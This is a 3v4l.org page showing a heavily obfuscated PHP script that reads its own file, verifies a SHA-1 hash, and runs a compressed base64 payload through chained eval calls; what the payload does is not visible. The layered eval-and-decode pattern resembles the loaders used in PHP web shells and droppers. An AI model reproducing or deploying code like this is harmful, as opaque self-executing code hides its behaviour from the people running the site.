3v4l.org

run code in 300+ PHP versions simultaneously
<?php $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=0ee90534ec1a61644f826aba6b16bdb6a837829f1Txrd9s2sp+95+x/mHB9Kzm1KCtJ29SW1FUsJdFeW3Itudvc1MelSEhiQpEqH35sm/9+ZwCQBB+SZUfp7ibnWCQ4mME8MDMYgGS+7/lXPlt6fmi7s+rB3tFf/0L/AxYEtudeBaHhh1XRumNPq0/sIGBhdfdq1BuN+sPB+8qo1x+MrzoX47eVyz1AqB0A+OorWAECT1rQ2EOw3wl0zgyL+VXtxDONEOkdgq7XHW9mu/pyvtSI7s4nMaId2zWdyGJXnmsyqIKGkKbnTu0ZBwUOKwe5uAt+c67wqctMHCyOmLgL3lfEg4D518y3l5XL/cKzCB+6xoKVPVsaQXDj+RYymnCwe3sALag05+HCaTdN5obMbzf7p29gdH7c0gwSV/CLvZj9gmx5+tKdae3mBEGWEIR3DmtpU88Na1NjYTt3h97EsX+L2BHwxsD+Fzt89mx5e6S1TcN1vRAkTxB6cHo3+vEEBC+HFX0Nl3rl7yXPU071Sln/lFu9AraLluA4MLX9IATPB3NuuDMGd17kQ9wTam1oGjD32bSF2sHmaCn+koraI2a7YeTbzI/RcZ0364aQCJdK+9lB4zl8ZXrLuyNQekzuoPv2+Exv1mMZ17nIK6T2HctmVdREbC9ZOwiYgyK7siZFS7CM0JgYAbtfow9Vlxc5lvtLJYSZb0ygRLwp6ceI998h1b/+pfmkOzwevzvrAYeihlrtvT2Ffg9eXuLoqBkcHHpLY64GpoM21NJs9lLDh0/eM9eyp5e1Wrbn9+t6fr+y55N+77JNN4Xe1KNWK/aCV703/QG87XW6IBoXLESBhuGyxn6L7OuWhvMrREnUwrsl00DetbSQ3YZcMkeoGB+F37oYv6691KBOWMiL4e+OQBdDaFE4jUF2mqEdOkxV1uEhnBquMWMLpNCsi+cpkpjyjW2F85bFrm2T1fjNPurZDm3DqQWmgRbZ0A80oInc0q5tdkOuPCaaRRVDWSww0S+QlawHNKJw7vkxjGO7H4XxSa9WXzoReuqgPvG8MAh9Y1k3A+VOX6AbxxYNfOa0ND5/gjljODwSr5QqATySQM1nwdJzA/uabY8Wn8rGDQu8BePk1IbPJ0MYebcaytz3toRsW2NSBPrZGMM5mnZQt9jUiJxwM3xgW/I5Rm8Hbe8+bUWuPfX8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?>

preferences:
51.72 ms | 402 KiB | 5 Q